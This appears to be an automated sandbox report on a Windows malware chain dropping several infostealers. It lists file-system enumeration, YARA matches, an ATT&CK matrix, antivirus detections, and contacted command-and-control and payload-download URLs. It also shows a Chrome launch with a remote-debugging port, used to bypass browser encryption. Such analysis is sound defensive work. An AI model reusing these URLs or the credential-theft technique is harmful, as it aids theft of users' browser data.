Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 0000002F.00000003.3211107486.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3211759711.000000000075F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2728015751.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000003.3408995294.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 475e05f959.exe PID: 7968, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 475e05f959.exe PID: 7968, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Poverty Stealer

Source: Yara match	File source: 6.0.DxfmGsU.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.DxfmGsU.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.2389263096.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DxfmGsU.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000019.00000003.2948270838.0000000003230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2977348645.0000000003600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2962028752.0000000003560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2963371234.0000000005570000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Extra Window Memory Injection	31 Obfuscated Files or Information	21 Input Capture	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	13 Command and Scripting Interpreter	11 Scheduled Task/Job	412 Process Injection	121 Software Packing	Security Account Manager	377 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	11 Scheduled Task/Job	1 DLL Side-Loading	NTDS	11101 Security Software Discovery	Distributed Component Object Model	21 Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	13 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	371 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	412 Process Injection	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	100%	Avira	TR/Crypt.XPACK.Gen3
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe	100%	Avira	TR/Crypt.XPACK.Gen3
C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016723001\DxfmGsU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016744001\5d99420dfa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016746001\0626ec4ce0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	62%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1016745001\791c6803ad.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	62%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	71%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	71%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	0%	Avira URL Cloud	safe
pancakedipyps.click	0%	Avira URL Cloud	safe
https://pancakedipyps.click/:false	0%	Avira URL Cloud	safe
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322	0%	Avira URL Cloud	safe
https://pancakedipyps.click/	0%	Avira URL Cloud	safe
https://pancakedipyps.click/apiG	0%	Avira URL Cloud	safe
https://pancakedipyps.click/apix	0%	Avira URL Cloud	safe
https://pancakedipyps.click:443/api	0%	Avira URL Cloud	safe
https://pancakedipyps.click/apih	0%	Avira URL Cloud	safe
https://pancakedipyps.click/api	0%	Avira URL Cloud	safe
https://pancakedipyps.click/bu	0%	Avira URL Cloud	safe
https://pancakedipyps.click/bun	0%	Avira URL Cloud	safe
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=seSgarhdYmVWAeOG1734469812	0%	Avira URL Cloud	safe
185.244.212.106:2227	0%	Avira URL Cloud	safe
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=OQJa3re7Kxkn4awF1734469598	0%	Avira URL Cloud	safe
https://pancakedipyps.click/pi	0%	Avira URL Cloud	safe
http://twentytk20pn.top/v1/upload.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	172.67.209.202	true	false	high
sweepyribs.lat	172.67.129.27	true	false	high
www.google.com	142.250.181.132	true	false	high
home.twentytk20pn.top	104.154.220.71	true	false	high
twentytk20pn.top	104.154.220.71	true	false	high
httpbin.org	98.85.100.80	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
pancakedipyps.click	true	Avira URL Cloud: safe	unknown
necklacebudi.lat	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exe	false		high
aspecteirs.lat	false		high
https://sweepyribs.lat/api	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
crosshuaht.lat	false		high
rapeflowwj.lat	false		high
https://pancakedipyps.click/api	true	Avira URL Cloud: safe	unknown
energyaffai.lat	false		high
https://httpbin.org/ip	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=seSgarhdYmVWAeOG1734469812	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exe	false		high
185.244.212.106:2227	true	Avira URL Cloud: safe	unknown
http://twentytk20pn.top/v1/upload.php	false	Avira URL Cloud: safe	unknown
grannyejh.lat	false		high
discokeyus.lat	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=OQJa3re7Kxkn4awF1734469598	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	false		high
https://duckduckgo.com/chrome_newtab	475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	475e05f959.exe, 0000000A.00000003.2655126834.0000000000C27000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/:false	475e05f959.exe, 0000000A.00000003.2613806315.000000000329B000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2614027347.000000000329E000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2613666018.000000000329A000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2613523742.0000000003296000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	475e05f959.exe, 0000000A.00000003.2564849481.0000000003333000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2565006205.00000000032E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	false		high
https://pancakedipyps.click/	475e05f959.exe, 0000000A.00000002.2862984885.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2557162632.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2763425630.0000000000BEE000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759571062.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759304884.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2728397729.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000BF1000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2824830489.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2557162632.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759304884.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click:443/api	475e05f959.exe, 475e05f959.exe, 0000000A.00000003.2860769212.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2862984885.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html	5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/apix	475e05f959.exe, 0000000A.00000003.2824743742.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	475e05f959.exe, 0000000A.00000003.2565006205.00000000032C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322	93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/apih	475e05f959.exe, 0000000A.00000003.2651268386.000000000329C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	475e05f959.exe, 0000000A.00000003.2702477506.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2702792369.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	475e05f959.exe, 0000000A.00000003.2655126834.0000000000C27000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html	93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/apiG	475e05f959.exe, 0000000A.00000003.2824528280.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2860925859.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000C03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	false		high
